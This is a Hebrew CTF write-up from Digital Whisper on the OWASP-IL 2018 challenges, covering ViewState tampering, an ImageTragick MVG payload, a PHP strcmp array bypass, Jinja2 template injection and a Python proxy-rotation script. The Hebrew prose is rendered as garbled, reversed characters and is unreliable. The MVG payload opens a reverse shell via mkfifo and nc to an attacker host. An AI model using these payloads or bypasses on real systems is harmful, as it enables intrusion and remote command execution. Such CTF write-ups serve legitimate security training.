.˪ˠˡˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ ˸˩˶˰ˬˢ ˪ˢˮˬ ˪˷ ˸ˣ˞˷˶ˢ ˫˰ ˶˟˥˸ˢ˪ ˨˶ˡ ˞ˣ˴ˬ˪ 

:˸ˣ˶˟˥˸ˢ ˱ˡ ˫˧˪˟˵ˬ ˶ˠ˸˞˪ ˫˧˯ˮ˩ˮ˷˩ 

 

:ˢ˞˟ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˢ˶˧ˤ˥ˬ ˶ˠ˸˞ˢ ˸˪˧˥˸˟ ˣˮ˪ ˣˮ˸˧ˮ˷ ˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬˢ ˫˷ ˪˷ ˢ˷˵ˢ 

 

 ˸ˬˣ˧˯˟ ˫˧ˬ˧˧˸˯ˬ ˸˶˷ˢ ˪˷ ˫˧˲ˡˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮaspx˷ˢ ˡ˴˟ ˶ˬˣ˪˩ ,˸˧˧ˠˣ˪ˣˮ˩˦˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˸˶-

ASP.NET. 

 ˧˪˩˟ ˶ˤ˰ˮ ,˵˷ˬˬ˟ ˸ˣ˷˵˟ˢ ˸˞ ˶ˣ˵˥˪ ˸ˮˬ ˪˰Burp Suite ) ˰ˣˡ˧ˢhttps://portswigger.net/burp ( 

https://portswigger.net/burp
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˩ ˷ˬ˷ˬ ˢˤ ˧˪˩-Proxy .˵ˣˡ˟˪ ˫˧˷˵˟ˬ ˣˮ˞ ˣ˸ˣ˞ ˸˶˷ˢ ˭˧˟˪ ˢ˴˵ˢ ˸ˡˬ˰ ˭˧˟  ˪˰ ˧˪˩˟ ˷ˬ˸˷ˮ ˣˮ˞ ˸ˮˬ

:˸˶˷ˢ ˡ˴˪ ˸ˣ˥˪˷ˮˢ ˸ˣ˷˵˟ˢ ˸˞ ˸ˣ˞˶˪ 

 

˶˦ˬ˶˲˪ ˟˪ ˫˧˷ˮˣ ˢ˥˪˷ˮ˷ ˢ˷˵˟ˢ ˪˰ ˦˧˟ˮ-ViewState  ˢ ˸˷˵˟˟ ˥˪˷ˮ ˶˷˞-POST  ˫˷ ˫˰ ˡ˥˧˟

 .˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬˢ 

-sViewState ˪ ˢˬˣˡ ˭˲ˣ˞˟ ,˫˧ˮˣ˸ˮ ˶ˣˬ˷˪ ˶˷˲˞ˬ-session  ˸˲˷˟PHP. ˟ ˰ˡ˧ˬˢ-viewState  ˭˧˟ ˶ˬ˷ˮ

˷ ˧ˡ˧ ˪˰ ˱ˡ˪ ˸ˣ˶ˤˣ˥ˢ ˸ˣ˞˧˶˵ˢˢ ˸˥˧˪-viewState ˢˡ˷˟input  .ˢ˷˵˟ ˪˩˟ ˥˪˷ˮˢ  ˡˣ˵ ˪˰ ˦˧˟ˮ

ˢ ˪˷ ˢˡ˷ˢ˷ ˢ˞˶ˮˣ ˱ˡˢ ˪˷ ˶ˣ˵ˬˢ-ViewState  ˪˰ ˱˯ˣˮ ˦˟ˬˬ .ˢ˸˰ ˸˰˪ ˥ˣˮ˰˲ ˸˪ˣ˩˧ ˞˪˪ ,˪˟˶ˣ˰ˬ

.˭˲˴ˣˬ ˞˪ˣ ˡˡˣ˵ˬ ˢˡ˷ˢ ˭˩ˣ˸ ˧˩ ˣˮ˞˴ˬ ˢˡ˷ˢ 

 ˢˮ˩ˣ˸˟ ˷ˬ˸˷ˢ˪ ˣˮ˦˪˥ˢ ˭˩˪ViewStateHacker ˞˟ˢ ˶ˣ˷˧˵ˢˬ ˡ˧˶ˣˢ˪ ˭˸˧ˮ ˶˷˞: 

http://www.woanware.co.uk/application/viewstatehacker.html  

 

˷ ˸ˣ˞˶˪ ˭˸˧ˮ-isAdmin  ˩ ˶ˡˠˣˬ-false ˪ ˣ˸ˣ˞ ˨ˣ˲ˢ˪ ˢ˧ˢ˧ ˣˮ˪˷ ˞˟ˢ ˟˪˷ˢ ˤ˞-true  ˸˞ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰

.˪ˠˡˢ 

 

http://www.woanware.co.uk/application/viewstatehacker.html
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 ˶˦ˬ˶˲ˢ ˸˞ ˸ˣˮ˷˪ ˸ˮˬ ˪˰isAdmin ˢ ˸˞ ˥˵˧ˮ-ViewState  ˢ ˢˡ˷˟ ˱ˡˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ˬ-Input 

ˢ ˸˧ˮˣ˷˪˪ ˣ˸ˣ˞ ˯˧ˮ˩ˮˣ-General: 

 

˪˰ ˳˥˪ˮˣ-Decode  ˢˡ˷ˢ ˭˩ˣ˸ ˸˞ ˢˮ˷ˮˣisAdmin  ˨˶˰ˢˬFalse ˪-True ˢ ˶ˣ˸˲˩ ˪˰ ˳˥˪ˮ ˭˩ˬ ˶˥˞˪ˣ-

Encode :˨˩ ˢ˞˶˧˷ ˢˬ 

 

 ˫˧˦˶˲ˢ ˫˰ ˶˸˞˪ ˟ˣ˷ ˶˟˥˸ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˪ ˶˞˷ˮ˷ ˪˩ˢ ˸˞ ˸ˣˮ˷˪ˣ ,˶ˠ˸˞˟ ˣˮ˪˟˧˵˷-ViewState 

:˪ˠˡˢ ˸˞ ˪˟˵ˮˣ 
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˶ˠ˸˞ Image Converter 

 

˫˧˞˟ˢ ˫˧˦ˬ˶ˣ˲ˢˬ ˡ˥˞˟ ˢˮˣˬ˸ ˳˟ˣ˵ ˸ˣ˪˰ˢ˪ ˣˮ˪ ˶˷˲˞ˬ ˢˤ ˶ˠ˸˞ :JPG, MVG, WEBP,GIF .  ˶˥˞˪

˪ ˦ˬ˶ˣ˲ˢ ˪˷ ˢ˶ˬˢ ˰˴˟˧ ˸ˣ˶˧˷ˢ ,˫˧˞˸ˬˢ ˦ˬ˶ˣ˲˟ ˳˟ˣ˵ˢ ˸˞˪˰ˢ-PNG: 

 

 ˦ˬ˶ˣ˲˟ ˡ˵ˬ˸ˮ ,ˢˮˣˬ˸ˢ ˸˞˪˰ˢ˪ ˫˧˧˶˷˲˞ˢ ˫˧˦ˬ˶ˣ˲ˢ ˸˶˧˵˯ ˶˥˞˪MVG  ˧˩ ˭˧˟ˢ˪ ˣˮ˪ ˶ˤˣ˰ ˶˷˞

 ˸˧˧˶˲˯˟ ˷ˣˬ˧˷ ˢ˷˰ˮimagemagick .˸˶˷ˢ ˡ˴˟ ˢˮˣˬ˸ˢ ˸˶ˬˢ ˨˧˪ˢ˸ ˸˞ ˰˴˟˪ ˧ˡ˩˟ 

 ˸ˮ˷˪ ˣˮ˸ˣ˞ ˢ˶˧ˤ˥ˬ ˢ˧˧˶˲˯˪ ˫˧ˬ˧˧˵ˢ ˢ˥˦˟˞ˢ ˧˧ˣ˵˧˪ ˪˷ ˢ˶˴˵ ˢ˶˧˵˯2016 -  ˸ˣ˰˧ˠ˲ˢ ˫ˣ˯˶˲

" ˸˞˶˵ˮˢέLƳŀƎŜ¢ǊŀƎick  ˦ˬ˶ˣ˲˟ ˢˮˣˬ˸˪ ˢ˵˶ˤˢ ˧"˰ ˸˶˷ˢ ˡ˴ ˪˰ ˡˣ˵ ˳˧˶ˢ˪ ˱˵ˣ˸˪ ˸˶˷˲˞ˬ ˶˷˞

MVG. ˪ ˸ˣˮ˲˪ ˭˸˧ˮ ˸ˣ˰˧ˠ˲ˢ ˸ˣˡˣ˞ ˫˧˲˯ˣˮ ˫˧˦˶˲˪-https://imagetragick.com/ ˢ ˳˟ˣ˵ ˭˩ˣ˸ .MVG 

:˨˩ ˢ˞˶ˮ ˣˮ˪˷ 

push  graphic - context  

viewbox  0 0 640 480  

fill  'url(https://example. com/image.jpg" | mknod /tmp/pipez p;/bin/sh 

0</tmp/pipez | nc  [HOST] [PORT] 1 >/tmp/pipez;rm - rf "/tmp/pipez)'  

pop  graphic - context  

https://imagetragick.com/
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 ˸˞ ˣˮ˧˪˞ ˶˧˟˰˧ˣ ˣˮ˸˦˧˪˷˟ ˸˶˷˪ ˸ˣ˶˷˵˸ˢ ˰˴˟˧ ˶ˠ˸˞ˢ ˸˶˷ ,˪˧˰˪˷ ˭˩ˣ˸ˢ ˫˰ ˳˟ˣ˵ˢ ˸˶ˬˢ ˸˰˟

˸ˣˡˣ˵˲ ˳˧˶ˢ˪ ˸ˣ˶˷˲˞ˢ .˸˶˷ˢ ˪˰ ˸˩˶˰ˬ 

 ˦˶ˣ˲˪ ˢˮˤ˞ˢ ˣˮ˶˴˧ ,˸˧˸˷˸ˢ ˸ˮ˩ˢ ˨˶ˣ˴˪1337  ˸ˡˣ˵˲ ˸ˣ˰˴ˬ˞˟nc -lvp 1337: 

 

ˢ ˳˟ˣ˵ ˸˞ ˸ˣ˪˰ˢ˪ ˢˤ ˸ˣ˷˰˪ ˭˸˧ˮ˷ ˪˩ ˸˰˩-MVG ˢ ˸˞ ˪˧˩ˬˢ-Exploit .˶ˠ˸˞ˢ ˸˶˷˪ 

 

:˪ˠˡˢ ˸˞˧˴ˬˣ ˸˩˶˰ˬ ˸ˣˡˣ˵˲ ˸˴˶ˢ ˧"˰ ˶ˠ˸˞ˢ ˸˶˷ ˪˰ ˢ˦˧˪˷ 

 

:˪ˠˡˢ ˸˞ ˪˧˩ˬ ˢˤ ˳˟ˣ˵ 

 

 



 
 

˭ˣ˶˸˲ ˧˶ˠ˸˞ s-CTF ˪˷ OWASP-IL 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ99 , ˶˟ˣ˦˵ˣ˞2018  60 
 

˶ˠ˸˞ The Bug 

 

 ,˪˲˩ ,˵ˣ˪˧˥ :˭ˣˠ˩) ˸ˣ˧˦ˬ˸˧˶˞ ˸ˣ˪ˣ˰˲ ˶˲˯ˬ ˰˴˟˪ ˸˶˷˲˞ˬˢ ˭ˣ˟˷˥ˬ ˸˧˧˴˵˧˪˲˞ ˣˮ˪˟˧˵ ˢˤ ˶ˠ˸˞˟

(˶ˣ˯˧˥ˣ ˶ˣ˟˧˥: 

 

 ˷˧ˠ˶ ˰ˡ˧ˬ ˪˧˩˸˷ ˢ˞˧ˠ˷ ˣˮ˪ ˶˧ˤ˥ˢ˪ ˸˶˷ˢ ˡ˴˪ ˫ˣ˶ˠ˪ ˣˮ˧˪˰˷ ˵˧˯˰ˢ˪ ˭˸˧ˮ ˶ˠ˸˞ˢ ˶ˣ˞˧˸ ˸˞˧˶˵ˬ

.˪ˠˡˢ ˸˞ ˫ˠ ˶˸˧ˢ ˭˧˟ˣ ˸˩˶˰ˬˢ ˪˰ ˣˢ˷˪˩  ˸˧˯˧˯˟ ˸˧ˠˣ˪ ˢ˞˧ˠ˷ ˰˴˟˪ ˣˮ˦˪˥ˢ ˸ˣˮˣ˧˯˧ˮ ˶˲˯ˬ ˶˥˞˪- 

˟ ˢ˵ˣ˪˥-0. ˟ ˪ˠˡˢ ˸˞ ˣˮ˪˟˵ ˨˩˟ˣ-console: 
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˶ˠ˸˞ The Code 

 

 ˸˲˷˟ ˡˣ˵ ˰˦˵ ˣˮ˪˟˧˵ ˢˤ ˶ˠ˸˞˟PHP ˰ˣ˴˧˟ ˨˶ˣ˴˪ ˷ˬ˸˷ˬˢ ˪˷ ˦˪˵ ˸˵˧ˡ˟ ˸ˬ˧˧˵˸ˬ ˢˤ ˡˣ˵ ˰˦˵˟ .

:ˡˣ˵ˢ ˰˦˵ ˭˪ˢ˪ .˸˩˶˰ˬ˪ ˸ˣˢˡˤˢ 

<?php  

require_once ( 'config.php' );  

function  check_param ( $param )  {  

    return  ( isset ( $_POST[ $param ])  && ! empty ( $_POST[ $param ]));  

}  

 

if  ( check_param ( 'username' )  && strcmp ( $AUTH_USER,  $_POST[ 'username' ])  == 0 && 

check_param ( 'md5' )  && strcmp ( $AUTH_MD5,  $_POST[ 'md5' ])  == 0)  {  

    $_SESSION[ 'connected' ]  = 1;  

    header ( 'Location: /index.php' );  

    exit ();  

}  

?> 

 ˸˧˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˸˧˷˰ˮˢ ˦˪˵ˢ ˸˵˧ˡ˟ ˸˞ ˱ˣ˵˰˪ ˨˶˦˴ˮ ,˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˸ˮˬ ˪˰

strcmp  ˸˲˷˟PHP ˸˧˧˴˵ˮˣ˲ .strcmp ˪ ˢˣˣ˷ ˨˶˰ ˢ˶˧ˤ˥ˬˣ ˸ˣˤˣ˶˥ˬ ˧˸˷ ˭˧˟ ˢ˞ˣˣ˷ˢ ˸˰˴˟ˬ-0  ˢˡ˧ˬ˟

.ˣˤ˪ ˣˤ ˸ˣˣ˷ ˸ˣˤˣ˶˥ˬˢˣ 

:˞˟ˢ ˵ˮ˧˪˟ ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˢ˟˥˶ˢ˟ ˞ˣ˶˵˪ ˭˸˧ˮ)http://php.net/manual/en/function.strcmp.php( ,

 ˨˶˰ˢ ˸˞ ˶˧ˤ˥˸ ˢ˞˟ˢ ˞ˬˠˣˡˢ ,ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷˪ ˞ˬˠˣˡ ˭˪ˢ˪0  ˭˧˟ ˢˬ˞˸ˢ ˷˧˷ ˭ˣˣ˧˩ˬ:˸ˤˣ˶˥ˬˢ 

<?php  

    $a = "aaa" ;  

    $b = "aaa" ;  

    $c  = strcmp ( $a, $b);  

    print  $c  #print 0  

?> 

˟ ˵˧˶ ˨˶˰ˬ˟ ˷ˬ˸˷ˢ˪ ˱ˣ˯˟˪ ˣˮ˦˪˥ˢ ,˭ˣˮˠˮˬˢ ˸˲˧˵˰˪ ˫˧˪˷ˣ˩ ˸ˣˮˣ˧˯˧ˮ ˶˲˯ˬ ˶˥˞˪-PHP  ˸ˮˬ ˪˰

 ˸˧˧˴˵ˮˣ˲ ˪˷ ˸ˣˠˢˮ˸ˢˢ ˸˞ ˷˟˷˪strcmp  ˨˶˰ ˶˧ˤ˥˸ ˸ˤˣ˶˥ˬ ˭˧˟˪ ˵˧˶ ˨˶˰ˬ ˭˧˟ ˢ˞ˣˣ˷ˢˣ ˶˥˞ˬnull. 

  

http://php.net/manual/en/function.strcmp.php
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  ˸˲˷˟PHP  ˨˶˰ˢ ˪˷ ˧˶˲˯ˬˢ ˨˶˰ˢnull  ˞ˣˢ0: 

<?php  

    $a = "aaa" ;  

    $b = array ();  

    strcmp ( $a, $b);  

?> 

 ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸ˣˮ˷˪ ˞ˣˢ ˸ˣ˷˰˪ ˶˸ˣˮ˷ ˢˬ ˪˩ ,˫ˣ˩˧˯˪Ϸψth{¢ώΨǳǎŜǊƴŀƳŜΩϐ x-Ϸψth{¢ώΨƳŘрΩϐ 

˟ ˵˧˶ ˨˶˰ˬ ˠˣ˯ˬ ˢˮ˸˷ˬ˪-PHP  ˸˧˧˴˵ˮˣ˲ ˸˞ ˱ˣ˵˰˪ ˨˩˟ˣstrcmp ˪ˠˡˢ ˸˞ ˪˟˵˪ˣ: 

 

:˪ˠˡˢ 
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˶ˠ˸˞ Recommendation Generator 

 

˟ ˵˯ˣ˰ ˢˤ ˶ˠ˸˞-Server Side Template Injection˶˵˪ ˭˸˧ˮ ˢˤ ˞˷ˣˮ ˪˰ .˞ˣ  :˞˟ˢ ˵ˮ˧˪˟

)injection-template-side-https://portswigger.net/blog/server.( 

 ˢ˴˶ˮ ˣ˧˪˰ ˷ˬ˸˷ˬ ˫˷ ˭˧ˤˢ˪ ˷˧ ˭ˣ˷˞˶ˢ ˢˡ˷˟ ˶˷˞˩ ˦˯˵˦ ˸ˣˡ˷ ˧ˮ˷ ˪˟˵ˮ ˶ˠ˸˞˪ ˢ˯˧ˮ˩ˢ ˫˰

.˳˧˪ˬˬˢ ˷ˬ˸˷ˬˢ ˫˷ ˸˞ ˧ˮ˷ˢ ˢˡ˷˟ˣ ˳˧˪ˬˢ˪ ˪˪ ˱˯ˣ˸ˢ ˧ˡ˧ ˪˰ ˸˶˷ˢ ˡ˴ ˸˵˧˶˯ ˶˥˞-firefox 

 ˞˶˵ˮˢWappalyzer ˟ ˶˟ˣˡˬ˷ ˣˮ˧˞˶-python: 

 

ˢ ˪˷ ˧ˣˢ˧ˤ ˸˪˪ˣ˩ˢ ˢ˪˧ˠ˶ˢ ˢˡˣ˟˰ˢ ˸˦˧˷ˬ ˢˮˣ˷˟-framework˟ ˶˟ˣˡˬ ˧˩ ˣˮ˷˥˧ˮ ,-Jinja2  ˰˴˟˪ ˣˮ˯˧ˮˣ

Local File Inclusion ˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰-payload ˢ ˸ˬ˧˷˶ˬ-Server Side Template Injection ˟-Github: 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240b

b0d2d708e2/Server%20Side%20Template%20injections/README.md 

  

https://portswigger.net/blog/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
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ˢ ˸˴˶ˢˣ ˳˟ˣ˵˪ ˧ˣˮ˧˷ ˰ˣ˴˧˟-Payload ˪ˠˡˢ ˸˞ ˣˮ˪ ˠ˧˴ˢ: 
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˶ˠ˸˞ Around the world - REAL 

 

 ˸˟ˣ˸˩ˬ ˸˶˷˪ ˸ˣˮ˲˪ ˞˧ˢ ˢ˶˦ˬˢ .˫ˡˣ˵ˢ ˶ˠ˸˞˪ ˨˷ˬˢ ˣˮ˧ˢ ˢˤ ˶ˠ˸˞IP  ˣˮ˷˵˟˸ˢ ˢˮˬˬ ˢˮ˧ˡˬˢ ˪˷

 ˞˪˪) .˸˷˵ˣ˟ˬˢ ˢˮ˧ˡˬˢˬ ˢ˷˵˟ˢ ˸˞ ˞˧˴ˣˢ˪ ˸ˬ˞˟ ˣˮ˧˪˰ ˫˰˲ˢ˷ ˵˶ ,˪ˠˡˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩˟ ˸ˣˮ˲˪

 ˸˵˧ˮ˩˦˟ ˷ˣˬ˧˷XFF( 

 ˶ˠ˸˞ˢ ˪˷ ˧˷˞˶ˢ ˱ˡ˟http://challenges.owaspil.ctf.today:8095 :˞˟ˢ ˦˪˲ˢ ˣˮ˷˧ 

 

 ˶˧ˡˠˮ ,˸˷˵ˣ˟ˬˢ ˢˮ˧ˡˬˢˬ ˸˶˷˪ ˸ˣˮ˲˪ ˧ˡ˩˟ .˭˲˧ˬ ˢ˧˧ˮ˲ ˰˴˟ˮ˷ ˷˵˟ˬ ˸˶˷ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮupstream 

proxy ˪-burp suite  ˧˯˵ˣ˶˲ˢ ˸ˣ˰˴ˬ˞˟ ˢ˧˧ˮ˲ ˰˴˟˧˷ ˨˩808079.138.99.254: :˶˸˞ˢˬ ˥˵˪ˮ ˧˯˵ˣ˶˲ˢ 

 https://www.proxynova.com/proxy-server-list/country-se/ 

 ˶˸˞proxynova  ˧˸˶˷ ˪˷ ˢˬ˧˷˶ ˪˧˩ˬproxy :˨˩ ˢ˞˶ˮ˷ ˢˬ ,˸ˤ˩ˣ˶ˬˣ ˢ˥ˣˮ ˢ˶ˣ˴˟ ˫˪ˣ˰ˢ ˪˩ˬ 

 

http://challenges.owaspil.ctf.today:8095/
https://www.proxynova.com/proxy-server-list/port-8080/
https://www.proxynova.com/proxy-server-list/country-se/
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 ˪˷ ˢ˶ˡˠˢˢ ˶˥˞˪upstream proxy ˸˶˷ ˣˮ˲˯ˣˢ ˫˴˰˟ ,proxy ˢ ˧˸˶˷ ˸˶˷˶˷˟ ˱˯ˣˮ-proxy  ˨˩

:ˢ˞˟ˢ ˢ˟ˣ˷˸ˢ ˢ˪˟˵˸ˢ ˸˰˩ .˸˶˷ˢ ˞˴ˬˮ ˢ˟ ˢ˪˧˟˥ˢˬ ˢ˧ˮ˲ˢ ˸˞ ˪˟˵˧ ˸˶˷ˢ˷ 

 

˶˷ˢ ˡ˴ˬ ˢ˧˧ˠˣ˰ ˣˮ˪˟˧˵˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˢˮ˧ˡˬˢ ˧ˢˬ ˢ˧˥ˮˢ ˣˮ˪˟˧˵ ˱˯ˣˮ˟ˣ ˣˮ˪˷ ˸ˣˬˡ˵˸ˢˢ ˸˞ ˸ˮ˧˧˴ˬˢ ˸

.ˢ˞˟ˢ ˢ˷˵˟ˢ ˸˞ ˞˧˴ˣˢ˪ ˫˧˷˶ˡˮ ˣˮ˞ ˢˮˬˬ 

:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬ ˶˷˞ ˞˟ˢ ˡˣ˵ˢ ˸˞ ˣˮ˟˸˩ ˸˧˦ˬˣ˦ˣ˞ ˢ˶ˣ˴˟ ˸ˣ˧ˮ˲ˢ ˪˩ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ 

1.  ˶˸˞ˢˬ ˸ˣˮ˧ˡˬˢ ˸ˬ˧˷˶ ˸˞ ˡ˧˶ˣˬhttps://www.worldatlas.com/aatlas/ctycodes.htm 

2. ˣ ˢˮ˧ˡˬ ˪˷ ˫˷ ˢ˟ˣ˷˸˟ ˪˟˵ˬˣ ˸˶˷ˢ ˪˞ ˢˮˣ˲-Session Cookie 

3.  ˸ˣˮ˧ˡˬˢ ˸ˬ˧˷˶ ˸˶ˤ˰˟ (˶ˣ˴˧˵˟ ˢ˸ˣ˞ ˸ˣˮˬ˯ˬˢ ˸ˣ˧˸ˣ˞ ˧˸˷) ˢ˪˷ ˡˣ˵ˢ ˣˢˬ ˢˮ˧ˡˬˢ ˶ˣ˟˰ ˷˲˥ˬ

ˢˬ ˣˮˡ˶ˣˢ˷.˶˸˞ 

4.  ˶˸˞˪ ˢ˧˧ˮ˲ ˫˧˰˴˟ˬ ˣˮ˞ ˭˩ˬ ˶˥˞˪proxynova  ˪˷ ˸˟ˣ˸˩ ˞˧˴ˣˢ˪ ˧ˡ˩ ˧˶˪ˣˠ˶ ˧ˣ˦˧˟˟ ˫˧˷ˬ˸˷ˬˣ

 ˸˶˷proxy ˸ˣ˟ˣ˸˩ˢ ˸ˬ˧˷˶ˬ ˡ˥˞ 

5. ˢ ˸˶˷ ˨˶ˡ ˢ˧ˮ˲ ˫˧˰˴˟ˬ-Proxy  

a.  ˱˧˰˯˪ ˫˧˶˟ˣ˰ ˢ˥˪˴ ˢ˧ˮ˲ˢˣ ˢˡ˧ˬ˟2 

b.  ˶˷˞ ˡ˰ ˨˩ ˫˧˩˧˷ˬˬˣ ˢˬ˧˷˶˟ ˞˟ˢ ˸˶˷ˢ ˪˷ ˸˟ˣ˸˩˪ ˫˧˶˟ˣ˰ ˢ˥˪˴ ˞˪ ˢ˧ˮ˲ˢˣ ˢˡ˧ˬ˟

˪˴ˮ.ˢ˧ˮ˲ˢ ˸˞ ˞˧˴ˣˢ˪ ˥˧ 

6. ˪ˠˡˢ ˸˞ ˫˧˯˧˲ˡˬˣ ˶ˠ˸˞ˢ ˸˞ ˫˧˵˧˯˲ˬ ˣˮ˞ ˪ˠˡˢ ˸˞ ˢ˟ˣ˷˸˟ ˣˮ˪˟˵ˣ ˢˡ˧ˬ˟ 

#!/usr/bin/python  

import  re  

import  requests  

import  urllib3  

urllib3 . disable_warnings ( urllib3 . exceptions . InsecureRequestWarning )  

 

 

# 

# Global Configurations  

# 

 

country_codes = open ( "country_codes" ). read ()  

url = 'http://challenges.owaspil.ctf.today:8095/'  

 

cookies = { 'session' :  '.eJxlkc1qwzAQhF -

l6JyDSaNDDDlWcgwJOI21kksJ_gnIRHJNZOM6we9eQRtYN7fl2x1mhr2T8qtvOhKuFr_TtT67k6mdRx9

38lKQkKR23SmgrUo2GzIt_ugRmFPS3HJ4Q_TdskHB CpFExk0GNMiBakQb4bIlG -

dqAd2owPTZzCmR4lZFsS640fiWthUXly3bB0oeTDnMNPBdP2dOXyuTcdHjHLE - W- NQL7seqyWjT_7_ -

https://www.worldatlas.com/aatlas/ctycodes.htm
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3MT5JHQhcWpUu7VkWgUDNiX69anH0ruu8kd2hy8f2H3hkyfjweMJHwYX0p_Ov0AP4l -

mQ.DoQ3vA.oHSf5k7aWnPQ0evrUxILmOjm1d8' }  

response = requests . get ( url ,  cookies =cookies )  

 

for  i in  xrange ( 17):  

  country_name = response . text . split ( "from" )[ 1]. split ( "(" )[ 0]. strip ()  

  code = re . search ( r'{0} \ s([A - Z][A - Z])' . format ( country_name ),  

country_codes ). group ( 1). lower ()  

  proxy_list = "https://www.proxynova.com/proxy - server - list/country -

{0}/" . format ( code )  

  response = requests . get ( proxy_list ,  verify =False )  

 

  for  proxy_part in  response . text . split ( "data - proxy - id" ):  

    ip_address = re . search ( r" \ b\ d{1,3} \ . \ d{1,3} \ . \ d{1,3} \ . \ d{1,3} \ b| \ b\ d{1,3} \ -

\ d{1,3} \ - \ d{1,3} \ - \ d{1,3} \ b" ,  proxy_part )  

    if  ip_address :  

      ip_address = ip_address . group ()  

 

    port_address = re . search ( r"Port (.*?) proxies" ,  proxy_part )  

    if  port_address :  

      port_address = port_address . group ( 1)  

 

    if  ip_address and  port_address :  

      proxy_dict = {  

        "http" :  "http://{0}:{1}" . format ( ip_address . replace ( " - " ,  "." ),  

port_address )  

      }  

      try :  

        response = requests . get ( url ,  proxies =proxy_dict , cookies =cookies )  

 

        # sometimes we have manually bypass the proxy  

        # print response.cookies["session"]  

        cookies [ "session" ]  = response . cookies [ "session" ]  

 

        print  "[+] {0}" . format ( response . text )  

 

        if  "OWASP- IL"  in  response . text :  

          print  "[*] {0}" . format ( response . text )  

          exit ( 0)  

 

        break  

 

      except  Exception as  e:  

        pass  

:˪ˠˡˢ ˸˞ ˣˮ˪˟˵ ˡˣ˵ˢ ˸˴˶ˢ ˶˥˞˪ 

 

 ˸ˬ˶˟ ˫˧˶ˠ˸˞ˢ ˪˪˩ ˸˞ ˶ˣ˸˲˪ ˣˮˬ˧˧˯ ˭˞˩ ˡ˰Medium ˸ˬ˶˟ ˫˧˶ˠ˸˞˪ ˭ˬˤˢ ˰˧ˠˢ ,Hard! 
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˶ˠ˸˞ Break The Captcha - Nightmare 

 

 ˶ˣ˸˲˪ ˣˮ˪˰ ,˫ˡˣ˵ˢ ˶ˠ˸˞˪ ˢˬˣˡ˟15  ˧˶ˠ˸˞captcha ˟-30  ˨˷ˬˢ ˶ˠ˸˞˟ ˶˟ˣˡˬ ˫˰˲ˢ˷ ˵˶ ,˸ˣ˧ˮ˷

.˶˸ˣ˧ ˢ˷˵ ˞˧ˢ ˶ˠ˸˞ˢ ˪˷ ˧˷ˣ˵ˢ ˸ˠ˶ˡˣ  ˫˰˲ˢ ˣˮ˪ ˷˧˷ ˸ˣ˞˶˪ ˭˸˧ˮcaptcha  ˱˯ˣˮ˟ˣ ˶˸ˣ˧ ˸˩˟ˣ˯ˬ

˧˦ˬ˸ˬ ˪˧ˠ˶˸: 

 

 ˫ˡˣ˵ˢ ˶ˠ˸˞ˢˬ ˦˲˧˶˵˯ˢ ˸˞ ˣˮ˪˪˩˷ ˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˸ˮˬ ˪˰ ˞˧˴ˣˢ˪ˣ ˢˮˣˬ˸ˢ ˸˞ ˥ˮ˰˲˪ ˪ˣ˩˧ ˶˷˞

.˦˯˵˦ˢ ˸˞ ˢˮˬˬ 

ˢ ˸˞ ˡ˟˰˪ ˢ˪˧˥˸ ˣˮ˧˪˰ ˦˯˵˦ˢ ˸˞ ˞˧˴ˣˢ˪ ˭˸˧ˮ ˢ˧ˢ˧˷ ˧ˡ˩-captcha ˸˞ ˣˮ˶ˬ˷ˣ ˸ˣ˷˵˟ ˶˲˯ˬ ˣˮ˰˴˟ ,

ˢ ˸ˣˮˣˬ˸ ˪˩-captcha .˸˶˷ˢˬ ˣˮˡ˶ˣˢ˷ 

 .˦˯˵˦ˢ ˥ˣ˸˧ˮ˪ ˢ˷˵˟ˢˬ ˢˮˣ˷ ˸˪˟˵˸ˬˢ ˢˮˣˬ˸ˢˣ ˭˟˪ ˰˟˴˟ ˦˯˵˦ ˫˧˪˧˩ˬ ˫˪ˣ˩˷ ˸ˣ˞˶˪ ˢ˧ˢ ˭˸˧ˮ

:˞˟ˢ ˭˲ˣ˞˟ ˢˮˣˬ˸˟ ˫˧˰˟˴ˢ ˪˷ ˢ˶ˬˢ ˰ˣ˴˧˟˟ ˶˵˧˰˟ ˞˦˟˸ˢ ˦˲˧˶˵˯ˢ ˪ˣ˪˩˷ 

1. .˶ˣ˥˷˪ ˣ˸ˣ˞ ˱˧˪˥ˮ ˭˟˪ ˪˯˵˧˲ˢˣ ˢˡ˧ˬ˟ 

2. .˭˟˪˪ ˣ˸ˣ˞ ˱˧˪˥ˮ ˣˢ˷˪˩ ˰˟˴ ˪˧˩ˬ ˪˯˵˧˲ˢˣ ˢˡ˧ˬ˟ 
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 ˪ˣˡˣˬˢ ˧˩ ˭˧˧˴˪ ˟ˣ˷˥pytesseract .˭˟˪ ˰˵˶ ˧˟ˠ ˪˰ ˶ˣ˥˷ ˰˟˴˟ ˦˯˵˦ˢ ˶˷˞˩ ˧˟˦˧ˬ ˭˲ˣ˞˟ ˦˯˵˦ ˞˶ˣ˵ 

